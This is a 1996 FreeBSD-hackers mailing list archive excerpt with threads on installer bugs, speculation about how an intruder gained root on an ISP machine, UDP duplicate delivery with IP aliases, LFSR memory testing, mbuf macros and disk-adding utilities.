FreeBSD-questions@FreeBSD.ORG, FreeBSD-bugs@FreeBSD.ORG, FreeBSD-hackers@FreeBSD.ORG, jgoerzen@cs.twsu.edu Subject: Re: Plea for help! And panic & bug reports! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, john goerzen wrote: > (NOTE...This is not my normal account. As such, it's not subscribed to > the list. Please CC your reponse to me here -- jgoerzen@cs.twsu.edu! > THANKS!) > > I am not currently able to access my mail on my normal computer, so > please CC your response here. > > I have recently upgraded from FreeBSD 9605?? to 960612 SNAP. The biggest > problem is this: > > I cannot login! As root, as my normal user account, etc. It just says > "Invalid login." After rebooting the first time under the new OS, I did > not have to enter a password for root. I did copy passwd and > master.passwd from the backup of the etc directory, ran pwd_mkdb or > whatever that program is called, etc. No go! I was using DES for > passwords, BTW. And yes, I did install the encryption stuff from the > sysinstall program. How about booting to single user and trying to fix the password problem there? Sander > > Now then...The reason I upgraded was a kernel panic when I accidentally > bumped the eject button on my Sony CDU33A CD-ROM drive. I relized my > mistake as soon as I did it, and wanting to prevent and problems, I > quickly unmounted it. Then I got a kernel panic. There were no programs > attempting to access the CD-ROM at the time. > > I came across a number of bugs in the installation program. > 1) In the upgrade menu, it fails to load the partition program. The label > program then gets into a loop of complaining that no partitions were > selected. Had to reboot, go to custom, select partitions, then go to > upgrade. > 2) Selecting COM2 for the PPP caused the PPP to fail on any com port. Had > to reboot, delete lock files, select COM1, then in PPP, type > "set device /dev/cuaa1" to make it work on COM2. > 3) ftp.freebsd.org was busy. Install program complained, retried once, then > said the installation failed and forced a reboot. Very annoying! Had > to then re-mount drives, select packages, etc. several times. It also > failed to delete the lock files before rebooting. > 4) Modem dropped connection -- sometimes dirty lines around here. Program > should have timed out on the FTP, and asked to re-enable connection. > Instead, it locked until a reboot. > 5) Prorgam garbled the string holding the location of the custom etc backup > directory. I had entered my own value -- after it had backed it up so > many times, I didn't want to overwrite anything important. It was garbage > on the screen when it reported that it couldn't reconstruct it. I then > did a cp -Rp and edited sysconfig and copied ppp.conf back to do basic > reconstruction. > 6) Failed to put a kernel in / ! I had to boot kernel.GENERIC to make it > "work". > 7) Failed to preserve password files. Caused lots of problems I have not yet > solved! > > Now I've worked around all the sysinstall problems except the password > file problem. I need help on that one desperately! Please, if at all > possible, send me an e-mail here -- this account is not subscribed to the > list and I can't log in to use my regular one! -- I will be very > appreciative! > > PS...I realize this is prerelease code. I am not complaining about > bugs. I am simply reporting them and asking for assistance in working > around one of them. Thanks. > > From owner-freebsd-hackers Tue Jun 25 07:41:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA02365 for hackers-outgoing; Tue, 25 Jun 1996 07:41:15 -0700 (PDT) Received: from horst.bfd.com (horst.bfd.com [204.160.242.10]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA02325; Tue, 25 Jun 1996 07:41:08 -0700 (PDT) Received: from harlie.bfd.com (bastion.bfd.com [204.160.242.2]) by horst.bfd.com (8.7.5/8.7.3) with SMTP id HAA18264; Tue, 25 Jun 1996 07:40:38 -0700 (PDT) Date: Tue, 25 Jun 1996 07:40:34 -0700 (PDT) From: "Eric J. Schwertfeger" To: -Vince- cc: Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, -Vince- wrote: > Yeah, you have a point but jbhunt was watching the user as he > hacked root since he brought the file from his own machine.... so that > wasn't something the admin was tricked into doing.. Then the important question is, how did he move the file so that it retained the setuid bit? We're already pretty sure that the program is only /bin/sh with the setuid bit turned on. So either he found a way to move the file with the bit turned on, or he found a way to turn it on, which reqires root access. From owner-freebsd-hackers Tue Jun 25 07:55:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA04405 for hackers-outgoing; Tue, 25 Jun 1996 07:55:51 -0700 (PDT) Received: from plains.nodak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA04394 for ; Tue, 25 Jun 1996 07:55:47 -0700 (PDT) Received: (from tinguely@localhost) by plains.nodak.edu (8.7.1/8.7.1) id JAA24735 for hackers@freebsd.org; Tue, 25 Jun 1996 09:55:37 -0500 (CDT) Date: Tue, 25 Jun 1996 09:55:37 -0500 (CDT) From: Mark Tinguely Message-Id: <199606251455.JAA24735@plains.nodak.edu> To: hackers@freebsd.org Subject: Re: Frame relay and ATM support Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Julian Elischer says: > I'm looking into the support needed in FreeBNSD to support > ATM and Frame relay services in a generic manner. > fr0: flags=c010 mtu 552 > inet 3.3.3.3 --> 4.4.4.4 netmask 0xff000000 > inet 3.3.3.3 --> 140.5.5.5 netmask 0xffffff00 > note: that this doesn't work at the moment because > the addition of the alias wipes out the original if the local address > is the same.. > > (BTW NBMA == non broadcast multiple access) I am interested in the ATM side. I assumed a single adapter name would list all IP connections rather than listing on a virtual circuit basis. I also assumed eventually a person could use Berkeley Packet Filters to display packets on an adapter card simular to an ethernet card. of course this level of ATM support is mega-vaporware. From owner-freebsd-hackers Tue Jun 25 08:18:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA07671 for hackers-outgoing; Tue, 25 Jun 1996 08:18:20 -0700 (PDT) Received: from deputy.pavilion.co.uk ([194.193.24.33]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA07663 for ; Tue, 25 Jun 1996 08:18:07 -0700 (PDT) Received: (from jcl@localhost) by deputy.pavilion.co.uk (8.7/8.7) id QAA13345 for hackers@freebsd.org; Tue, 25 Jun 1996 16:17:15 +0100 (BST) From: Jonathan Laventhol Message-Id: <199606251517.QAA13345@deputy.pavilion.co.uk> Subject: Multiple delivery of UDP and IP aliases To: hackers@freebsd.org Date: Tue, 25 Jun 1996 16:17:15 +0100 (BST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear BSD Clever People -- (Please respond directly: I'm not on the mailing lists. Thanks.) Anybody understand the following: I'm getting multiple delivery of UDP packets under particular circumstances to do with SO_REUSEADDR and aliases on interfaces. Briefly, a packet sent to an alias is getting delivered twice, to different sockets, whereas the packet to the main address only gets delivered once. This is a real problem to do with named serving on alias ip addresses, but I've got test code if anyone wants to play with it. Get an interface with two alias addresses: ifconfig de0 inet 192.9.200.1 netmask 255.255.255.0 ifconfig de0 inet alias 192.9.200.2 netmask 255.255.255.255 ifconfig de0 inet alias 192.9.200.3 netmask 255.255.255.255 Get two DGRAM sockets, both marked SO_REUSEADDR: bind socket1 to 192.9.200.2 port 2000 bind socket0 to INADDR_ANY port 2000 Get another host, 192.9.200.9. Transmit a UDP packet from to arrives 192.9.200.9 192.9.100.1 socket0 192.9.200.9 192.9.200.2 *** socket1 and socket0 *** 192.9.200.9 192.9.200.3 socket0 But ... get two DGRAM sockets, both marked SO_REUSEADDR: bind socket1 to 192.9.200.1 port 2000 (the 'real' address) bind socket0 to INADDR_ANY port 2000 Transmit a UDP packet from to arrives 192.9.200.9 192.9.100.1 socket1 192.9.200.9 192.9.200.2 socket0 192.9.200.9 192.9.200.3 socket0 The duplication looks suspect to me. I (briefly) tried to find it in the kernel but didn't see it. I did, however, find this intriguing comment in udp_usrreq.c * udp_usrreq.c,v 1.12 1995/05/30 08:10:02 rgrimes Exp /* * Deliver a multicast or broadcast datagram to *all* sockets * for which the local and remote addresses and ports match * those of the incoming datagram. This allows more than * one process to receive multi/broadcasts on the same port. * (This really ought to be done for unicast datagrams as * well, but that would cause problems with existing * applications that open both address-specific sockets and * a wildcard socket listening to the same port -- they would * end up receiving duplicates of every unicast datagram. * Those applications open the multiple sockets to overcome an * inadequacy of the UDP socket interface, but for backwards * compatibility we avoid the problem here rather than * fixing the interface. Maybe 4.5BSD will remedy this?) */ Anybody know a) where the duplication I'm reporting happens, and b) what the 'inadequacy of the UDP socket interface' is? All help gratefully received. Jonathan. ------------------------------------------------- J o n a t h a n L a v e n t h o l T e c h n i c a l D i r e c t o r P a v i l i o n I n t e r n e t p l c aqua house 24 old steine brighton bn1 1el 01273 607072 phone . 01273 607073 fax ------------------------------------------------- From owner-freebsd-hackers Tue Jun 25 08:28:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA08265 for hackers-outgoing; Tue, 25 Jun 1996 08:28:37 -0700 (PDT) Received: from unix.stylo.it (unix.stylo.it [193.76.98.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA08250 for ; Tue, 25 Jun 1996 08:28:29 -0700 (PDT) Received: from styloserver.stylo.it (trust.stylo.it [194.21.207.253]) by unix.stylo.it (8.7.5/8.6.9) with SMTP id RAA01555 for ; Tue, 25 Jun 1996 17:27:58 +0200 (MET DST) Received: by styloserver.stylo.it with Microsoft Exchange (IMC 4.12.736) id <01BB62BB.C67E6840@styloserver.stylo.it>; Tue, 25 Jun 1996 17:28:51 +0200 Message-ID: From: Angelo Turetta To: "'freebsd-hackers'" Subject: What about this new 3Com NIC Date: Tue, 25 Jun 1996 17:28:48 +0200 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.12.736 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BB62BB.C680D940" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. Contact your mail administrator for information about upgrading your reader to a version that supports MIME. ------ =_NextPart_000_01BB62BB.C680D940 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit http://www.3com.com/0files/releases/jun1796.html 'New Generation of Ethernet and Fast Ethernet Network Interface Cards Lead Industry with Highest Performance' Anybody in good relations with 3Com going to catch the programming info? Angelo. ----------------------------------------------------------------- Angelo Turetta mailto:aturetta@stylo.it Stylo Multimedia - Bologna - Italy http://www.stylo.it/ ------ =_NextPart_000_01BB62BB.C680D940-- From owner-freebsd-hackers Tue Jun 25 08:44:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA09921 for hackers-outgoing; Tue, 25 Jun 1996 08:44:10 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA09904; Tue, 25 Jun 1996 08:44:04 -0700 (PDT) Received: (from jbhunt@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id IAA05830; Tue, 25 Jun 1996 08:43:37 -0700 (PDT) Date: Tue, 25 Jun 1996 08:43:37 -0700 (PDT) From: jbhunt To: Michael Smith cc: -Vince- , mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606251242.WAA00732@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Michael Smith wrote: > -Vince- stands accused of saying: > > > > Yeah, you have a point but jbhunt was watching the user as he > > hacked root since he brought the file from his own machine.... so that > > wasn't something the admin was tricked into doing.. > > ... so jbhunt should know exactly what he did. If they don't, then > you should sack them presto. > > But I don't think you understand; you cannot _make_ a file owned by > root unless you are _already_ root. > > > Vince > > -- > ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ > ]] Genesis Software genesis@atrad.adelaide.edu.au [[ > ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ > ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ > ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ > Ok, this is jb. First off all this copied from here to their as root didn't happen. I gave this fella an account knowing more than likely if we had a hole he would find it. Unfortunately I wasn't watching his tty when he actually used whatever exploit he used. He obviously used a setuid exploit so I suggest that there is a New exploit out abusing a setuid program somewhere on the system because I know vince fixed the mount_union and current fixed the old ypwhich hack. Or actually maybe not so old for some of you, but either way I did have to give him an account before he could do anything. However, once inside it took him 2 minutes and he was root. I know for a fact it was his FIRST look inside the system and I ran no scripts from his dir. That option is out so don't bother. I did start watching his tty after he took root but it was too late. I am open to any suggestions any of you have so far this seems to be a very constructive group :> John SysAdmin Gaianet From owner-freebsd-hackers Tue Jun 25 08:46:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA10171 for hackers-outgoing; Tue, 25 Jun 1996 08:46:10 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA10163 for ; Tue, 25 Jun 1996 08:46:06 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id KAA07793; Tue, 25 Jun 1996 10:44:53 -0500 From: Joe Greco Message-Id: <199606251544.KAA07793@brasil.moneng.mei.com> Subject: Re: Multiple delivery of UDP and IP aliases To: jcl@pavilion.co.uk (Jonathan Laventhol) Date: Tue, 25 Jun 1996 10:44:53 -0500 (CDT) Cc: hackers@freebsd.org In-Reply-To: <199606251517.QAA13345@deputy.pavilion.co.uk> from "Jonathan Laventhol" at Jun 25, 96 04:17:15 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm getting multiple delivery of UDP packets under particular > circumstances to do with SO_REUSEADDR and aliases on interfaces. > Briefly, a packet sent to an alias is getting delivered twice, > to different sockets, whereas the packet to the main address > only gets delivered once. This is a real problem to do with > named serving on alias ip addresses, but I've got test code if > anyone wants to play with it. It's a Legitimate Bug in 2.1R and 2.0.5R (at least), and somebody devised a patch. Check the -hackers list, and if you cannot locate the patch, write to me and I will dredge it up. My apologies to whoever fixed it, I can't remember anymore :-( ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Tue Jun 25 08:57:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA11258 for hackers-outgoing; Tue, 25 Jun 1996 08:57:25 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA10991; Tue, 25 Jun 1996 08:54:14 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id SAA04118; Tue, 25 Jun 1996 18:56:45 +0300 Date: Tue, 25 Jun 1996 18:56:44 +0300 (EET DST) From: Narvi To: "Eric J. Schwertfeger" cc: -Vince- , Mark Murray , hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Eric J. Schwertfeger wrote: > > > On Tue, 25 Jun 1996, -Vince- wrote: > > > Yeah, you have a point but jbhunt was watching the user as he > > hacked root since he brought the file from his own machine.... so that > > wasn't something the admin was tricked into doing.. > > Then the important question is, how did he move the file so that it > retained the setuid bit? We're already pretty sure that the program is > only /bin/sh with the setuid bit turned on. So either he found a way to > move the file with the bit turned on, or he found a way to turn it on, > which reqires root access. How did he get the file there in the first place? Via ftp? Or did he just copy it over? Ftp seems to remove even the exec bit, let alone the setuid. Could there be a way of attack via a modified ftp server? Sander > > From owner-freebsd-hackers Tue Jun 25 08:58:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA11425 for hackers-outgoing; Tue, 25 Jun 1996 08:58:56 -0700 (PDT) Received: from cyber1.servtech.com (cyber1.servtech.com [199.1.22.8]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA11416 for ; Tue, 25 Jun 1996 08:58:50 -0700 (PDT) Received: from pr-comm.com (prcomm.roc.servtech.com [204.181.3.14]) by cyber1.servtech.com (8.7.5/8.7.5) with SMTP id LAA26222 for ; Tue, 25 Jun 1996 11:58:28 -0400 (EDT) Received: by pr-comm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/(1.3PRC/3.0sos) id AA4047; Tue, 25 Jun 96 11:04:18 -0400 Message-Id: <9606251504.AA4047@pr-comm.com> Mime-Version: 1.0 Date: Tue, 25 Jun 96 10:58:57 -0400 From: "James Housley" To: freebsd-hackers@freebsd.org Reply-To: "James Housley" Cc: housley@pr-comm.com Subject: Help with Linux device on FreeBSD!!] X-Mailer: Ultimedia Mail/2 Lite, IBM T. J. Watson Research Center Content-Id: <4044_96_4_835714738> Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have the source code for a Linux device that interfaces gdb to the Motorola 683xx processors BDM. The code is fairly simple. I would like to re-write it to run on FreeBSD, since I would prefer to install FreeBSD. I will use Linux if I have to. What I am looking for is the source to /dev/lpt[x] or /dev/io. With this I believe I can write the device I need. I have downloaded all the s.*\.[ab][a-z] files. I have started looking through them but having a hard time finding out where the sources are. Are they part of this package? Or are they part of some other files? All help would be greatly appreciated. ------------------------------------------------+----------------------------- E-Mail: James E. Housley | PGP Key: pub 1024/03983B4D | 2C 3F 3A 0D A8 D8 C3 13 WWW: www.servtech.com/public/pr-comm | 7C F0 B5 BF 27 8B 92 FE ------------------------------------------------+----------------------------- From owner-freebsd-hackers Tue Jun 25 09:39:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA15330 for hackers-outgoing; Tue, 25 Jun 1996 09:39:02 -0700 (PDT) Received: from dirac.phys.washington.edu (dirac.phys.washington.edu [128.95.93.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA15324 for ; Tue, 25 Jun 1996 09:39:01 -0700 (PDT) Received: by dirac.phys.washington.edu (951211.SGI.8.6.12.PATCH1042/UW-NDC Revision: 2.25 ) id JAA27540; Tue, 25 Jun 1996 09:38:58 -0700 From: "William R. Somsky" Message-Id: <199606251638.JAA27540@dirac.phys.washington.edu> Subject: Re: Poor Chuck :-) To: hackers@freebsd.org Date: Tue, 25 Jun 1996 09:38:58 -0700 (PDT) In-Reply-To: <199606250725.AAA26366@freefall.freebsd.org> from "owner-hackers-digest@freefall.freebsd.org" at Jun 25, 96 00:25:24 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > From: Gennady Sorokopud > Date: Tue, 25 Jun 1996 09:30:28 +0200 (IST) > Look what some gardening association did to our lovely demon :-) > http://www.nhn.uoknor.edu/~howard/images/flowers/devilf.gif Hey, Chuck's got to do _something_ in his free time, doesn't he? You didn't think he was some sort of _geek_ that spends _all_ his time with computers, did you? ;-) Now we know that he gardens in his spare time. From owner-freebsd-hackers Tue Jun 25 10:19:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA19109 for hackers-outgoing; Tue, 25 Jun 1996 10:19:00 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA19101 for ; Tue, 25 Jun 1996 10:18:57 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id NAA03946 for freebsd-hackers@freebsd.org; Tue, 25 Jun 1996 13:18:46 -0400 From: Charles Henrich Message-Id: <199606251718.NAA03946@crh.cl.msu.edu> Subject: netinet/udp_usrreq.c and udpcksum To: freebsd-hackers@freebsd.org Date: Tue, 25 Jun 1996 13:18:46 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Now I ask, why has udpcksum become static in -current, and how does one go about tweaking it now? -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Tue Jun 25 10:34:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA20208 for hackers-outgoing; Tue, 25 Jun 1996 10:34:25 -0700 (PDT) Received: from critter.tfs.com ([140.145.16.108]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA20202; Tue, 25 Jun 1996 10:34:23 -0700 (PDT) Received: from critter.tfs.com (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id KAA00958; Tue, 25 Jun 1996 10:00:25 -0700 (PDT) To: Charles Henrich cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netinet/udp_usrreq.c and udpcksum In-reply-to: Your message of "Tue, 25 Jun 1996 13:18:46 EDT." <199606251718.NAA03946@crh.cl.msu.edu> Date: Tue, 25 Jun 1996 10:00:24 -0700 Message-ID: <956.835722024@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199606251718.NAA03946@crh.cl.msu.edu>, Charles Henrich writes: >Now I ask, why has udpcksum become static in -current, and how does one go >about tweaking it now? use sysctl -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Tue Jun 25 10:34:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA20244 for hackers-outgoing; Tue, 25 Jun 1996 10:34:34 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA20237; Tue, 25 Jun 1996 10:34:32 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id KAA18090 ; Tue, 25 Jun 1996 10:34:20 -0700 Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id KAA11616; Tue, 25 Jun 1996 10:29:13 -0700 (MST) From: Don Yuniskis Message-Id: <199606251729.KAA11616@seagull.rtd.com> Subject: Re: LFSR To: jmb@freefall.FreeBSD.org (Jonathan M. Bresler) Date: Tue, 25 Jun 1996 10:29:13 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) In-Reply-To: <199606251709.KAA18295@freefall.freebsd.org> from "Jonathan M. Bresler" at Jun 25, 96 10:09:38 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > don, > what's an LFSR? and where can i get one? Alfonzo's Produce Market has them on sale -- 5 pounds for a dollar (but make sure you get *fresh* ones... once they get stale, they aren't worth a damn...) Linear Feedback Shift Register -- a common technique used to produce "pseudo-random" numbers. A shift register of N bits is implemented (in this case, in software). Particular bits from the shift register are combined to form the "next" bit to be shifted into the register. By selecting a good N and carefully picking the bits to be combined, you can generate an arbitrarily long sequence of shift register values (you can, of course stroke the register multiple times to ensure that each M -- M < N -- bit sample from the register is not closely related to the previous sample). One advantage to this for memory testing is that it can be readily repeated. So, initialize the LFSR with a value X. Extract an 8 bit (or 32 bit, etc.) sample from the register and store it into memory. Advance the pointer to the next memory "location" (word, byte, etc.) and update the LFSR. Repeat until memory is full. Now, you have some hodgepodge of values in memory. Restart from the first address with a REINITIALIZED (that's "reinitialised" for you folks across the pond :>) LFSR and do a read/compare cycle to verify the contents of memory are unperturbed. This process (write then read/compare) can be repeated several times using different initialization values (i.e. at the start of each write/fill pass, use the *ending* value of the LFSR from the previous read/compare cycle to initialize the LFSR). It's not "exhaustive" but it gives a very fast check of the memory array with unstructured data. It's also pretty tiny to implement. I use this technique often in POST (Power On Self Test) for the embedded products I design. There, you have a fraction of a second to get some feel for any major failures that have crippled the hardware. The "fill all then check" approach is used just to give some added test of refresh failure (years ago, this was an issue... now it's not worth the trouble...) by letting the array sit dormant for a while. > I find use of a LFSR with a long, "relatively prime" period "Relatively prime" ensures that the pattern doesn't repeat in some way that is "realted" to the organization of the memory array. For example, if the LFSR produced samples like 0x00, 0xFF, 0x00, 0xFF :> it wouldn't be very good at detecting a decode error that affected odd (or even) addresses. Whereas 0x00, 0x00, 0xFF (still a pretty lame pattern) *would* detect that failure (0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, etc.) --don From owner-freebsd-hackers Tue Jun 25 10:45:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA21939 for hackers-outgoing; Tue, 25 Jun 1996 10:45:42 -0700 (PDT) Received: from june.cs.washington.edu (june.cs.washington.edu [128.95.1.4]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA21933 for ; Tue, 25 Jun 1996 10:45:40 -0700 (PDT) Received: (fgray@localhost) by june.cs.washington.edu (8.7.5/7.2ju) id KAA12278 for freebsd-hackers@freebsd.org; Tue, 25 Jun 1996 10:45:34 -0700 From: fgray@cs.washington.edu (Frederick Gray) Message-Id: <199606251745.KAA12278@june.cs.washington.edu> Subject: M_LEADINGSPACE To: freebsd-hackers@freebsd.org Date: Tue, 25 Jun 1996 10:45:34 -0700 (PDT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In the following macro from sys/mbuf.h: /* * Compute the amount of space available * before the current start of data in an mbuf. */ #define M_LEADINGSPACE(m) \ ((m)->m_flags & M_EXT ? /* (m)->m_data - (m)->m_ext.ext_buf */ 0 : \ (m)->m_flags & M_PKTHDR ? (m)->m_data - (m)->m_pktdat : \ (m)->m_data - (m)->m_dat) Would someone explain to me why the definition in the case where M_EXT is true was commented out and replaced with 0? The original definition looks correct to me. -- Fred Gray -- fgray@cs.washington.edu From owner-freebsd-hackers Tue Jun 25 10:51:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA22589 for hackers-outgoing; Tue, 25 Jun 1996 10:51:23 -0700 (PDT) Received: from tombstone.sunrem.com (tombstone.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA22569 for ; Tue, 25 Jun 1996 10:51:17 -0700 (PDT) Received: (from brandon@localhost) by tombstone.sunrem.com (8.6.12/8.6.12) id LAA02007; Tue, 25 Jun 1996 11:51:12 -0600 Date: Tue, 25 Jun 1996 11:51:11 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: Utility for adding a disk... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm bringing up this overly beat topic again partially out of frustration. The sysinstall utility has the mechanisms needed for installing a disk, but they will NOT DO ANYTHING unless you actually install SOMETHING, which I do not want to do. I realize there have been a few attempts at creating a utility for simply adding a disk, but they seem to have all faltered and disappeared. What I am wondering is if it would be possible to simply shag various portions of sysinstall to create a diskinstall? Just include the Partion, Label and commit steps, and have it merge with an existing fstab when it commits..? I am a software-inclined person (PC at its best ;) and unfortunately I do not have the hardware experience to grunt out adding a disk. Right now it seems to be not only an extreme guru task, but it also requires a touch of dietism in the mystical workings of hardware and filesystems.. -Brandon Gillespie (Who just finished an indepth 'discussion' with a unixware cohort who was astounded to find freebsd had no such utility) From owner-freebsd-hackers Tue Jun 25 11:28:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA26031 for hackers-outgoing; Tue, 25 Jun 1996 11:28:56 -0700 (PDT) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.101]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id LAA25958; Tue, 25 Jun 1996 11:28:41 -0700 (PDT) Received: from ida.interface-business.de (ida.interface-business.de [193.101.57.203]) by innocence.interface-business.de (8.6.11/8.6.9) with SMTP id UAA10172; Tue, 25 Jun 1996 20:28:05 +0200 Received: (from j@localhost) by ida.interface-business.de (8.7.5/8.7.3) id UAA18617; Tue, 25 Jun 1996 20:28:32 +0200 (MET DST) From: J Wunsch Message-Id: <199606251828.UAA18617@ida.interface-business.de> Subject: My -stable merges... To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Tue, 25 Jun 1996 20:28:32 +0200 